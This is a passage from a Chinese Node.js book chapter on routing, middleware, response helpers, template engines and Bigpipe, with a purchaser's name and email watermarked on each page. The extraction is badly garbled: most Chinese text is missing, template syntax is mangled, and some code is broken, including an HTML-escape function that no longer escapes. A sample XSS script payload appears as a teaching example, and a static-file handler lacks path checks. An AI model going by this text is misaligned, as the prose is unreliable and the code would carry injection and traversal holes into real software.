app.delete('/user/:username', removeUser); // 用户 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 8.3 209 1 2 3 4 5 11 6 7 8 9 10 app.put('/user/:username', updateUser); // 查询用户 app.get('/user/:username', getUser); 这样的由能识请,并务分发。为了分发部分,我们 的部分为match(),下 var match = function (pathname, routes) { for (var i = 0; i < routes.length; i++) { var route = routes[i]; // 正则配 var reg = route[0].regexp; var keys = route[0].keys; var matched = reg.exec(pathname); if (matched) { // 具体 var params = {}; for (var i = 0, l = keys.length; i < l; i++) { var value = matched[i + 1]; if (value) { params[keys[i]] = value; } } req.params = params; var action = route[1]; action(req, res); return true; } } return false; }; 后我们的分发部分,下 function (req, res) { var pathname = url.parse(req.url).pathname; // 将请求方法为小写 var method = req.method.toLowerCase(); if (routes.hasOwnPerperty(method)) { // 据请求方法分发 if (match(pathname, routes[method])) { return; } else { // 如路径有配成功试all()处理 if (match(pathname, routes.all)) { return; } } } else { // 接all()处理 if (match(pathname, routes.all)) { return; } 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2108 Web } // 处理404请求 handle404(req, res); } ,我们了实RESTful的要。这的实过程用了工的 ,事实上过自也能RESTful的,是Controller/Action的定要 为Resource/Method的定,已经实,不。 目前RESTful应用已经开始广起,着务前端、客端的多样,RESTful 以量的,到广大开发者的。对于多数的应用言,只要一RESTful服务 接,就能应动端、PC端的客端应用。 8.4 接触Web应用的能由能后,我们发从应Hello World的 到实的目,实有多的工作要,上内只是了要的部分。对于Web 应用言,我们不用接触到这多性的,为我们入中(middleware) 这些与务之的,开发者能关在务的开发上,以到 开发的目的。 在最的中的定中,它是一在作系统上为应用服务的机。它 不是作系统的一部分,也不是应用的一部分,它于作系统与应用之,应用 好、使用服务。今中的了这,为上 服务的,并定在作系统。这要到的中,就是为我们上的 有HTTP请的中,开发者可以这部分,在务上。 中的为Java中过(filter)的工作,就是在入的务之前, 过。它的工作图8-4。 图8-4,从HTTP请到务之,实有很多的要。Node的http 了应用网的,对务并没有,在务之下,有开发 对务。这我们过中的开发,这个开发用组织个中。 对于Web应用的能,我们过中,个中相对的,最 强大的。 由于中就是前的些本能,以它的上下也就是请对应对req res。有一区的是,由于Node的因,我们要一机,在前中 后,下一个中。在4中实已经对中做了,这我们还是用Connect 的,过触发的实。一个本的中会是下的 var middleware = function (req, res, next) { // TODO next(); } 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 8.4 中 211 1 2 3 4 5 11 6 7 8 9 10 图8-4 中的工作 的,我们为的务加中应是很的事情,过, 能有的能起,下 app.use('/user/:username', querystring, cookie, session, function (req, res) { // TODO }); 这的querystring、cookie、session中与前的能大小下 // querystring解析中间件 var querystring = function (req, res, next) { req.query = url.parse(req.url, true).query; next(); }; // cookie解析中间件 var cookie = function (req, res, next) { var cookie = req.headers.cookie; var cookies = {}; if (cookie) { var list = cookie.split(';'); for (var i = 0; i < list.length; i++) { var pair = list[i].split('='); cookies[pair[0].trim()] = pair[1]; } } req.cookies = cookies; next(); }; 可以到这的中都是分的,接下我们要组织起这些中。这我们 由分开,中务都务,use()下 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2128 Web app.use = function (path) { var handle = { // 数作为路径 path: pathRegexp(path), // 其他的是处理单元 stack: Array.prototype.slice.call(arguments, 1) }; routes.all.push(handle); }; 后的use()中都了stack数组中,后触发。由于发 生,我们的部分也要,下 var match = function (pathname, routes) { for (var i = 0; i < routes.length; i++) { var route = routes[i]; // 正则配 var reg = route.path.regexp; var matched = reg.exec(pathname); if (matched) { // 具体 // 代码 // 将中间件数组给handle()方法处理 handle(req, res, route.stack); return true; } } return false; }; 一,中动都了handle(),后,性 数组中的中,个中后,定用入next()以触发下一个中 (者接应),到最后的务。下 var handle = function (req, res, stack) { var next = function () { // 从stack数组中出中间件执行 var middleware = stack.shift(); if (middleware) { // 传入next()函数自使中间件能执行结递 middleware(req, res, next); } }; // 启动执行 next(); }; 这的问是,像querystring、cookie、session这样的能中是否要为 个由都都会下的由 app.get('/user/:username', querystring, cookie, session, getUser); app.put('/user/:username', querystring, cookie, session, updateUser); //多路 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 8.4 中 213 1 2 3 4 5 11 6 7 8 9 10 为个由都中并不是一个好的,中务是的,我们 是否可以由中是否可以人性能的,能 的是Yes,下 app.use(querystring); app.use(cookie); app.use(session); app.get('/user/:username', getUser); app.put('/user/:username', authorize, updateUser); 为了灵活的,这续我们的use()以应数的,下 app.use = function (path) { var handle; if (typeof path === 'string') { handle = { // 数作为路径 path: pathRegexp(path), // 其他的是处理单元 stack: Array.prototype.slice.call(arguments, 1) }; } else { handle = { // 数作为路径 path: pathRegexp('/'), // 其他的是处理单元 stack: Array.prototype.slice.call(arguments, 0) }; } routes.all.push(handle); }; 了use()外,还要续我们的过程,与前一一次后就不 后续不,还会继续后续,这我们有到中的都时起,下 var match = function (pathname, routes) { var stacks = []; for (var i = 0; i < routes.length; i++) { var route = routes[i]; // 正则配 var reg = route.path.regexp; var matched = reg.exec(pathname); if (matched) { // 具体 // 代码 // 将中间件存 stacks = stacks.concat(route.stack); } } return stacks; }; use()后,还要续分发的过程 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2148 Web function (req, res) { var pathname = url.parse(req.url).pathname; // 将请求方法为小写 var method = req.method.toLowerCase(); // all()方法的中间件 var stacks = match(pathname, routes.all); if (routes.hasOwnPerperty(method)) { // 据请求方法分发关的中间件 stacks.concat(match(pathname, routes[method])); } if (stacks.length) { handle(req, res, stacks); } else { // 处理404请求 handle404(req, res); } } 上,过中由的作,我们不不之已经复杂的事情下,Web 应用开发者可以只关务开发就能个开发工作。 8.4.1 是,个中办我们要为自己的Web应用的定性 性。于是我们为next()加err数,并中接的,下 var handle = function (req, res, stack) { var next = function (err) { if (err) { return handle500(err, req, res, stack); } // 从stack数组中出中间件执行 var middleware = stack.shift(); if (middleware) { // 传入next()函数自使中间件能执行结递 try { middleware(req, res, next); } catch (ex) { next(err); } } }; // 启动执行 next(); }; 由于的不能接(在4中有过),中产生的要自己 ,下 var session = function (req, res, next) { 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 8.4 中 215 1 2 3 4 5 11 6 7 8 9 10 var id = req.cookies.sessionid; store.get(id, function (err, session) { if (err) { // 将异常通过next()传递 return next(err); } req.session = session; next(); }); }; Next()接到对后,会handle500()。为了中的想续下 ,我们认为的中也是能数组的。由于要时,以用于 的中的与中有,它的数有4个,下 var middleware = function (err, req, res, next) { // TODO next(); }; 我们过use()可以有的中起,下 app.use(function (err, req, res, next) { // TODO }); 为了区分中中,handle500()会对中数 ,后。 var handle500 = function (err, req, res, stack) { // 异常处理中间件 stack = stack.filter(function (middleware) { return middleware.length === 4; }); var next = function () { // 从stack数组中出中间件执行 var middleware = stack.shift(); if (middleware) { // 传递异常对象 middleware(err, req, res, next); } }; // 启动执行 next(); }; 8.4.2 前我们加了强大的中组织能,到一个的,就是我们的务 是在最后才。为了务,应端用,中的编写使用是 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2168 Web 要一的。下是个要的能的。 编写高的中。 用由,不要的中。 1. 编写高的中实就是个的,以用next()后续 。要的事情是,一中,个请都会使中一次,它只 1的时,都会我们的QPS下。的优有几。 使用高的。要时过jsperf.com测试性能。 要复的(要用量,因在5过)。 不要的。HTTP的解,对于GET不要。 2. 在有一高的中后,并不着个中我们都使用,的由使不要的 中不与请的过程。这以一个问题。 我们这有一个的中,它会对请,上在对应, 就应对应的,否就由下中,下 var staticFile = function (req, res, next) { var pathname = url.parse(req.url).pathname; fs.readFile(path.join(ROOT, pathname), function (err, file) { if (err) { return next(); } res.writeHead(200); res.end(file); }); }; 我们以下的由 app.use(staticFile); 着对/下的有URL请都会。由于它中到了I/O, ,它的还,是不,次的I/O都是对性能的,使QPS线下。 对于这情,我们要做的是,就不能使用认的/ 了,因为它的高。它加一个好的由是个不的,下 app.use('/public', staticFile); 这样只有/public会上,余本不会中。 8.4.3 中使前的能,从的发收很的组织。对于个中 言,它,一。与像一样杂在一起的相,它好的可测试性。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 8.5 217 1 2 3 4 5 11 6 7 8 9 10 中机使Web应用好的可性可组性,可以数。从 它就是Unix学的一个实,,小,后过组使用,发强大的能量。 中是Connect的经,过本的,我们已经可以到个Connect是 的。本试图解Web开发过程的前,了多,管与实的Connect不 相,着这些,开发者都能立写应自己务的。 8.5 过中机组织能我们的请后,不管是过MVC还是过RESTful 由,开发者者是用了数,者是了作,者是了内,这时我们于 到了应客端的部分了。这的页是个的题,我们实应的可能是一个 HTML网页,也可能是CSS、JS,者是他多。这我们要接上的HTTP 应实的技术,要包内应页个部分。 对于过的ASP、PHP、JSP动网页技术,页是一内的能。对于Node ,它并没有这样的内能,在本的中,你会到是因为能的,我们可 以,发多好的技术,社区的创使Node在HTTP应上加 多的。 8.5.1 在7我们了http了对请应的作,在这我们开 应用使用应的。服务端应的,最都要端。这个端可能是 端,也可能是端,也可能是。服务端的应从一定程上决定了客 端应的内。 内应的过程中,应中的Content-*分要。在下的应中,服 务端客端内是以gzip编的,内为21 170个,内为JavaScript, 为UTF-8 Content-Encoding: gzip Content-Length: 21170 Content-Type: text/javascript; charset=utf-8 客端在接收到这个后,的过程是过gzip解中的内,用 内是否,后以UTF-8解后的脚本入到中。 1. MIME 想要客端用的应内,了解MIME不可。可以想一下下 在客端会有样的 res.writeHead(200, {'Content-Type': 'text/plain'}); res.end('Hello World\n'); // 者 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2188 Web res.writeHead(200, {'Content-Type': 'text/html'}); res.end('Hello World\n'); 在网页中,前者的是Hello World,后者只能到Hello World,图8-5。 图8-5 Content-Type不使网页的内不 没,起上的因就在于它们的Content-Type的是不的。对内 用了不的,前者为本,后者为HTML,并了DOM树。是过不的 Content-Type的决定用不的,这个我们为MIME。 MIME的是Multipurpose Internet Mail Extensions,从可以,它最用于 ,后也应用到中。不的有不的MIME,JSON的为 application/json、XML的为application/xml、PDF的为application/pdf。 为了的MIME,社区有有的mime可以用。它的用分 ,下 var mime = require('mime'); mime.lookup('/path/to/file.txt'); // => 'text/plain' mime.lookup('file.txt'); // => 'text/plain' mime.lookup('.TXT'); // => 'text/plain' mime.lookup('htm'); // => 'text/html' 了MIME外,Content-Type的中还可以包一些数,。下 Content-Type: text/javascript; charset=utf-8 2. 在一些场景下,应的内是样的MIME,中并不要客端开它,只 并下它可。为了这,Content-Disposition应场。Content- Disposition的为是客端会它的是应数做时的内 ,还是可下的。内只时时,它的为inline,数可以为时,它 的为attachment。外,Content-Disposition还能过数定时应使用的。 下 Content-Disposition: attachment; filename="filename.ext" 我们要一个应下的API(res.sendfile),我们的大是下这样的 res.sendfile = function (filepath) { fs.stat(filepath, function(err, stat) { var stream = fs.createReadStream(filepath); 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 8.5 219 1 2 3 4 5 11 6 7 8 9 10 // 设置内容 res.setHeader('Content-Type', mime.lookup(filepath)); // 设置长 res.setHeader('Content-Length', stat.size); // 设置为附件 res.setHeader('Content-Disposition' 'attachment; filename="' + path.basename(filepath) + '"'); res.writeHead(200); stream.pipe(res); }); }; 3. JSON 为了应JSON数,我们也可以下这样 res.json = function (json) { res.setHeader('Content-Type', 'application/json'); res.writeHead(200); res.end(JSON.stringify(json)); }; 4. 我们的URL因为些问题()不能前请,要用到的 URL时,我们也可以一个的实,下 res.redirect = function (url) { res.setHeader('Location', url); res.writeHead(302); res.end('Redirect to ' + url); }; 8.5.2 Web应用的内应分,可以是内,也可以是他,也可以 是。这我们到的的HTML内的应上,图。Web应用最 在上的内,都是过一系的图的。在动页技术中,最的图是由 数生的。 是有的HTML,过与数的,数到这些中,最 后生的数的HTML。我们为render(),数就是 数,下 res.render = function (view, data) { res.setHeader('Content-Type', 'text/html'); res.writeHead(200); // 实渲染 var html = render(view, data); res.end(html); }; 在Node中,数自是以JSON为,是有多可以使用了。上中的 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2208 Web render()我们可以是一个定接,接相数,最后HTML。这样的 我们都作实了这个接。 8.5.3 最的服务端动页开发,是在CGI程序servlet中HTML,过网 到客端,客端到用上。这与HTML的杂在一起的开发 ,一个小小的UI动都要大动,甚至要新编。为了这情,使HTML 与分开,生一些服务端动网页技术,ASP、PHP、JSP。它们动语言 部分过的(ASPJSP以< >%% 作为,PHP以作为)包起,过HTML ,开发者从HTML的工作中解。这样的一定程上了 开发的,是页还是着大量的。这生了MVC在动网页技术中的 发,MVC、、数分开的,大大高了目的可性。中技术 就在这样的发中熟起的。 管技术起在MVC时才广使用,不可否认的是ASP、PHP、JSP,它们 实就是最的技术。技术多多样,它的实质就是数过 生最的HTML。技术的也就下4个要。 语言。 包语言的。 有动数的数对。 。 对于ASP、PHP、JSP言,于服务端动页的内能,语言就是它们的 语言(VBScript、JScript、PHP、Java),就是以.php、.asp、.jsp为后的, 就是Web。 这个时的极上下,甚至要个HTTP的请对。后语言的发 使可以上下环境,只有数对就可以。PHP中的PHPLIB Template FastTemplate、Java的XSTL,以Velocity、JDynamiTe、Tapestry。 这的在于它的实与语言有很大的关性,由于语言用的语言不 ,包,性。的一定编程语言就不会环境, 以有开发者开发新的语言应不的编程语言。今系统 多,能应用到多门编程语言中的这也开始。 者是Mustache,它自己是的(logic-less templates),定了以{{}}为 的一语言,并了多门编程语言的实,使用它作为很好的 可性。着Node在社区的发,很开,语言可以创,也可 以实。Node社区目前与相关的不多要3个才能。并且由于 Node与前端都用相的语言JavaScript,以一语言也为它编写不的 就能前后端用。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 8.5 221 1 2 3 4 5 11 6 7 8 9 10 数与最相,这有一个、动的分过程,相的不的数 可以到不的,不的与相的数也能到不的。技术使网页中的动 内内不相,数开发者与开发者只要定好数,者就不用 相了,图8-6。 图8-6 技术 技术并不是的技术,它的实上是接这样很的活,只是 有着自的优技。是接并不为过,我们要的就是加数,过 的就能到最的HTML这样。 我们的是下这样的,<=>%%就是我们定的(这个要因为ASP JSP都用它做,相对熟悉) Hello < = username >%% 我们的数是{username: "JacksonTian"},我们的就是Hello JacksonTian。 实的过程是分为Hello<%= username >% 个部分,前者为,后者是。 要继续,与数关后为一个量,最与量最的。 图8-7了与数的过程图。 图8-7 与数的过程图 1. 为了的技术,我们过render()实一个的。这个 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2228 Web 会Hello < = username >%%为"Hello " + obj.username。过程以下几个。 语分解。,这个过程用,<=>%%的 为/< =([% \s\S]+?) >/g% 。 。的语言。 生的语。 与数一起,生最。 了程,数就可以开工了,下 var render = function (str, data) { // 模板是换的 var tpl = str.replace(/< =([% \s\S]+?) >/g, function(match, code) {% return "' + obj." + code + "+ '"; }); tpl = "var tpl = '" + tpl + "'\nreturn tpl;"; var complied = new Function('obj', tpl); return complied(data); }; 用上的数试试,下 var tpl = 'Hello < =username >.';%% console.log(render(tpl, {username: 'Jackson Tian'})); // => Hello Jackson Tian. 上的实过程中,可以到有部分内前没有,它的内下 tpl = "var tpl = '" + tpl + "'\nreturn tpl;"; var complied = new Function('obj', tpl); 为了能最与数一起生,我们要始的一个数对 。Hello < =username >%%这,最会生下的 function (obj) { var tpl = 'Hello ' + obj.username + '.'; return tpl; } 这个过程为编,生的中数只与相关,与的数关。 次都生这个中数,就会CPU。为了的性能,我们会用 编的。是,上的可以解为个,下 var complie = function (str) { var tpl = str.replace(/< =([% \s\S]+?) >/g, functi% on(match, code) { return "' + obj." + code + "+ '"; }); tpl = "var tpl = '" + tpl + "'\nreturn tpl;"; return new Function('obj, escape', tpl); }; 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 8.5 223 1 2 3 4 5 11 6 7 8 9 10 var render = function (complied, data) { return complied(data); }; 过编编后的,实应用中就可以实一次编,多次,始的 次过程中都要一次编。 2. with 上实的,只能量,< ="Jackson Tian" >%%就了。为了它 灵活,我们要它的实,使能继续为,量能自动于它的对 。于是with关入到我们的实中。with关是JavaScript中Douglas Crockford 的,在本书C中有。在这,with关可以到很的应用。 var complie = function (str, data) { // 模板是换的 var tpl = str.replace(/< =([% \s\S]+?) >/g, function (match, code) {% return "' + " + code + "+ '"; }); tpl = "tpl = '" + tpl + "'"; tpl = 'var tpl = "";\nwith (obj) {' + tpl + '}\nreturn tpl;'; return new Function('obj', tpl); }; 就接,量code的是obj[code]。关于new Function(),这过它创 了一个数对,它的语下 new Function ([arg1[, arg2[, ... argN]],] functionBody) Function()数接多个数,最后一个数作为数的内,余数都会用作 为新生的数的数。 前到过XSS ,它的产生大多相关,上中的username 的为 ,的会是 Hello . 这会在页上这个脚本,好这的username是在URL的上入的,这就 了XSS。为了高性,大多数都了的能。就是能HTML 的的,这些要有&、<、>、"、'。数下 var escape = function (html) { return String(html) .replace(/&(?!\w+;)/g, '&') .replace(//g, '>') .replace(/"/g, '"') .replace(/'/g, '''); // IE不支持'单引转义 }; 不定要HTML的最好都,为了,<=>%% 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2248 Web <%->% 分为的情,下 var render = function (str, data) { var tpl = str.replace(/\n/g, '\\n') // 将换行符换 .replace(/< =([% \s\S]+?) >/g, function (match, code) {% // 转义 return "' + escape(" + code + ") + '"; }).replace(/<%-([\s\S]+?) >/g, function (match,% code) { // 正常输出 return "' + " + code + "+ '"; }); tpl = "tpl = '" + tpl + "'"; tpl = 'var tpl = "";\nwith (obj) {' + tpl + '}\nreturn tpl;'; // 加上escape()函数 return new Function('obj', 'escape', tpl); }; 过分-=并区对,最后不要入escape()数。最上的 会为的,下 Hello <script>alert("I am XSS.")</script>. 因,在技术的使用中,时不要,是与入有关的量一定要。 3. 模 管技术已经务与图部分分开,是图上还是会在一些 页的最。为了上强大一,我们为它加,使可以像ASP、 PHP样页。下的,HTML与入数相关 < if (user) { >%%

< = user.name >

%% < } else { >%%

名用户

< } >%% 它要编的数应是下这样的 function (obj, escape) { var tpl = ""; with (obj) { if (user) { tpl += "

" + escape(user.name) + "

"; } else { tpl += "

名用户

"; } } return tpl; } 接的还是过,下 var complie = function (str) { var tpl = str.replace(/\n/g, '\\n') // 将换行符换 .replace(/< =([% \s\S]+?) >/g, function (match, code) {% // 转义 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 8.5 225 1 2 3 4 5 11 6 7 8 9 10 return "' + escape(" + code + ") + '"; }).replace(/< =([% \s\S]+?) >/g, function (match, code) {% // 正常输出 return "' + " + code + "+ '"; }).replace(/< ([% \s\S]+?) >/g, function (match, code) {% // 执行代码 return "';\n" + code + "\ntpl += '"; }).replace(/\'\n/g, '\'') .replace(/\n\'/gm, '\''); tpl = "tpl = '" + tpl + "';"; // 转换空行 tpl = tpl.replace(/''/g, '\'\\n\''); tpl = 'var tpl = "";\nwith (obj || {}) {\n' + tpl + '\n}\nreturn tpl;'; return new Function('obj', 'escape', tpl); }; 上的实后,试试,下 var tpl = [ '< if (user) { >',%% '

< =user.name >

',%% '< } else { >',%% '

名用户

', '< } >'].join('%% \n'); render(complie(tpl), {user: {name: 'Jackson Tian'}}); 到的内下

Jackson Tian

接下在不user时试试,下 render(complie(tpl), {}); 是到信,下 undefined:5 if (user) { ^ ReferenceError: user is not defined 为了程序的性,要写一,对于不定是否在的性,应为它加上 用,下 var tpl = [ '< if (obj.user) { >',%% '

< =user.name >

',%% '< } else { >',%% '

名用户

', '< } >'].join('%% \n'); EJS中,它的量不是obj,是locals,这的与中的with语有关。新 上的,到的为 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2268 Web

名用户

外,实了的还能环,下 var tpl = [ '< for (var i = 0; i < items.length; i++) { >',%% '< var item = items[i]; >',%% '

< = i+1 >%%<=item.nam% e>

',% '< } >'%% ].join('\n'); render(complie(tpl), {items: [{name: 'Jackson'}, {name: ''}]}); 到的下

1Jackson

2

,我们实的已经能了,图的不问题。 4. 前我们实的complie()render()数已经能实入的编 的能。与前的HTTP应对组起的,我们应一个客端的请大 下 app.get('/path', function (req, res) { fs.readFile('file/path', 'utf8', function (err, text) { if (err) { res.writeHead(500, {'Content-Type': 'text/html'}); res.end('模板文件错误'); return; } res.writeHead(200, {'Content-Type': 'text/html'}); var html = render(complie(text), data); res.end(html); }); }); 这样的应并不友好,有下几。 次请要反复读上的。 次请要编。 用。 你性不的,应大多数的MVC在做时都只有一个的render() ,以我们也要一个、性能好的render()数,下 var cache = {}; var VIEW_FOLDER = '/path/to/wwwroot/views'; res.render = function (viewname, data) { if (!cache[viewname]) { var text; try { text = fs.readFileSync(path.join(VIEW_FOLDER, viewname), 'utf8'); } catch (e) { 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 8.5 227 1 2 3 4 5 11 6 7 8 9 10 res.writeHead(500, {'Content-Type': 'text/html'}); res.end('模板文件错误'); return; } cache[viewname] = complie(text); } var complied = cache[viewname]; res.writeHead(200, {'Content-Type': 'text/html'}); var html = complied(data); res.end(html); }; 这个res.render()实中,有读的情,是由于用了,只会在一 次读的时候个程的,一生,不会反复读。次,之前 已经了编,也不会次读都编。 数之后,我们的用就很了,下 app.get('/path', function (req, res) { res.render('viewname', {}); }); 与系统之后,入,可以很好解决性能问题,接也大大到。由于 内都不大,也不于动动的,以使用程的内编,并不会 起大的收问题。 5. 有时候大,过复杂,会加上的,且有些是可以用的,这 生了(Partial View)的产生。可以在的中,多个可以入一个 中。多个复杂的大的本要很多,很多复杂问题可以解为 多个小的问题。 这我们用include关实的。下 user/show内下
  • < =user.name >
  • %% 的应以下的 以实的就是include语,性编,下 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2288 Web var files = {}; var preComplie = function (str) { var replaced = str.replace(/<%\s+(include.*)\s+ >/g, function (match, code) {% var partial = code.split(/\s/)[1]; if (!files[partial]) { files[partial] = fs.readFileSync(fs.join(VIEW_FOLDER, partial), 'utf8'); } return files[partial]; }); // 多套续换 if (str.match(/<%\s+(include.*)\s+ >/)) {% return preComplie(replaced); } else { return replaced; } }; 后我们一下complie()数,在编前,下 var complie = function (str) { // 解析子模板 str = preComplie(str); var tpl = str.replace(/\n/g, '\\n') // 将换行符换 .replace(/< =([% \s\S]+?) >/g, function (match, code) {% // 转义 return "' + escape(" + code + ") + '"; }).replace(/< =([% \s\S]+?) >/g, function (m% atch, code) { // 正常输出 return "' + " + code + "+ '"; }).replace(/< ([% \s\S]+?) >/g, function (match, code) {% // 执行代码 return "';\n" + code + "\ntpl += '"; }).replace(/\'\n/g, '\'') .replace(/\n\'/gm, '\''); tpl = "tpl = '" + tpl + "';"; // 转换空行 tpl = tpl.replace(/''/g, '\'\\n\''); tpl = 'var tpl = "";\nwith (obj || {}) {\n' + tpl + '\n}\nreturn tpl;'; return new Function('obj', 'escape', tpl); }; 6. 要是为了用的复杂。的一使用就是图 (layout),图页,它与的相,是场景有区。一言 定了,它的就了,入到多个中于, 是在多个中只是入的图不,内一样,也会复。下 个的 // 模板1 // 模板2 这些复的内要用,为了能这些用起,技术 图。图之后,就只有一,图时,定好图就可以了,下 res.render('viewname', { layout: 'layout.html', users: [] }); 对于,我们为<%- body >% 部分为我们的,下 下 var renderLayout = function (str, viewname) { return str.replace(/<%-\s*body\s* >/g, function (match, code) {% if (!cache[viewname]) { cache[viewname] = fs.readFileSync(fs.join(VIEW_FOLDER, viewname), 'utf8'); } return cache[viewname]; }); }; 最res.render()数,下 res.render = function (viewname, data) { var layout = data.layout; if (layout) { if (!cache[layout]) { try { cache[layout] = fs.readFileSync(path.join(VIEW_FOLDER, layout), 'utf8'); } catch (e) { res.writeHead(500, {'Content-Type': 'text/html'}); res.end('布局文件错误'); return; } } } var layoutContent = cache[layout] || '<%-body >';% var replaced; 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2308 Web try { replaced = renderLayout(layoutContent, viewname); } catch (e) { res.writeHead(500, {'Content-Type': 'text/html'}); res.end('模板文件错误'); return; } // 将模板和布局文件名做key缓存 var key = viewname + ':' + (layout || ''); if (!cache[key]) { // 编译模板 cache[key] = cache(replaced); } res.writeHead(200, {'Content-Type': 'text/html'}); var html = cache[key](data); res.end(html); }; ,我们可以实用,下 res.render('user', { layout: 'layout.html', users: [] }); // 者 res.render('profile', { layout: 'layout.html', users: [] }); 7. 从前的实中我们可以到一些的优,要有下几。 。 编后的数。 上个之后,的性能与生的数接相关,这个数与的复杂 有接关系。在中编写了,的性能接的性能。优 就是对性能的优,以加入一优 中的式 了这几个的外,的实也与性能相关。本的实中用了new Function(),事实上还可以使用eval()对于,本中用的是接相加,有的 用数组的,最后有相。对于量的,本用的是with 作用的实了,有的用了本一,定量的(obj. username),定量不用with可以上下。这些都是的因。 由于有数量多,不做。 8. 技术的,务开发与HTML的工作分开,它的就是一 。这与MVC中的数、、图分一,与前端HTML、CSS、JavaScript分的 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 8.5 231 1 2 3 4 5 11 6 7 8 9 10 一,、、分开。着Node的,能在前后端用实在是 不过的事情,甚至都不用复实。本了的本,今样的 不的性性能。最的有EJS、Jade,它们在语言的上不相,EJS是 ASP、PHP、JSP的,JadePython、Ruby的。 本了技术的实,读者可以本的实自己的,也可以使 用EJS、Jade熟的,了上的,还有过能。 8.5.4 Bigpipe 这个与在4中到的Bagpipe相,不过Bagpipe的为,是用于用 的。的Bigpipe是产生于Facebook的前端加技术,它的要是为了解决数页 的加问题,在2010年的Velocity会上,时自Facebook的生分享了题, 后起了国内大的反。 这以一个的下前到的MVC技术在的问题 app.get('/profile', function (req, res) { db.getData('sql1', function (err, users) { db.getData('sql2', function (err, articles) { res.render('user', { layout: 'layout.html', users: users, articles: articles }); }); }); }); 这个中,我们profile页要usersarticles数,后过layout user,最发页到端。可能的, 的数过EventProxy解开,下 app.get('/profile', function (req, res) { var ep = new EventProxy(); ep.all('users', 'articles', function (users, articles) { res.render('user', { layout: 'layout.html', users: users, articles: articles }); }); ep.fail(function (err) { res.render('err', {message: err.message}); }); db.getData('sql1', ep.done('users')); db.getData('sql2', ep.done('articles')); }); 至还在的问题是 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2328 Web 问题在于我们的页,最的HTML要在有的数后才到端。Node 过已经多个数源的并起了,最的页决于个数请中应 时的个。在数应之前,用到的是页,这是分不友好的用。 Bigpipe的解决是页分多个部分(pagelet),用没有数的( ),个部分到前端,最,个网页的。这个过程中 要前端JavaScript的与,它后续的数到页上。 Bigpipe是一个要前后端实的优技术,这个技术有几个要的。 页(数的)。 后端续性的数。 前端。 Bigpipe的程图图8-8。 图8-8 Bigpipe的程图 1. 页由后端,下 var cache = {}; var layout = 'layout.html'; app.get('/profile', function (req, res) { if (!cache[layout]) { cache[layout] = fs.readFileSync(path.join(VIEW_FOLDER, layout), 'utf8'); } res.writeHead(200, {'Content-Type': 'text/html'}); res.write(render(complie(cache[layout]))); // TODO }); 这个中要入要的前端脚本,jQuery、Underscore用,次要入我们 要的前端脚本,这的为bagpipe.js。下 // layout.html 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 8.5 233 1 2 3 4 5 11 6 7 8 9 10 Bagpipe
    2. 后,个网页的并没有,用已经可以到个页的大样。接下 我们继续数,与的数不,这的数之后要前端脚本,是 要对它,下 app.get('/profile', function (req, res) { if (!cache[layout]) { cache[layout] = fs.readFileSync(path.join(VIEW_FOLDER, layout), 'utf8'); } res.writeHead(200, {'Content-Type': 'text/html'}); res.write(render(complie(cache[layout]))); ep.all('users', 'articles', function () { res.end(); }); ep.fail(function (err) { res.end(); }); db.getData('sql1', function (err, data) { data = err ? {} : data; res.write(''; }); db.getData('sql2', function (err, data) { data = err ? {} : data; res.write(''; }); }); 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2348 Web 对于要到页上的数,它的下 res.write(''; 这样最HTML的上还应有下这样的 这的序决于次用。由于Node的性,多次用可 以并,就可以推到HTML页上,着前端脚本的,就可以 到页上。 相Facebook始的Bigpipe应用在PHP这环境中,Node在数上可以并 ,使Bigpipe。 3. 前的bigpipe.ready()bigpipe.set()是个前端的机,前者以一个key一个事 ,后者触发一个事,以页的机。这个数定在bigpipe.js中,下 var Bigpipe = function () { this.callbacks = {}; }; Bigpipe.prototype.ready = function (key, callback) { if (!this.callbacks[key]) { this.callbacks[key] = []; } this.callbacks[key].push(callback); }; Bigpipe.prototype.set = function (key, data) { var callbacks = this.callbacks[key] || []; for (var i = 0; i < callbacks.length; i++) { callbacks[i].call(this, data); } }; 4. Bigpipe网页数分,使用在上网页前好了,着数 的过程页,使用能到页是活的。这一开始页,后 在个时候好用的好。Node在这个过程中,性使数的能 并,数的与数用的序关,用的数可以到页中,这个 性使Bigpipe。 要Bigpipe这样页的过程,实过Ajax也能,是Ajax的后是HTTP 用,要多的网接,Bigpipe数与前页用相的网接,开分小。 Bigpipe要的多,MVC中的接要复杂多,在网要的且 数请时的页中使用。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 8.7 235 1 2 3 4 5 11 6 7 8 9 10 8.6 本的内为,在Web应用的个过程中,从请到应请的个过 程都有性,本就可以一个能的Web开发。过的Web技 术,着的,开发者应用,不的实,这好 没有图在。本的内能为Node开发者图的发,在开发Web应用 时能心有,了。 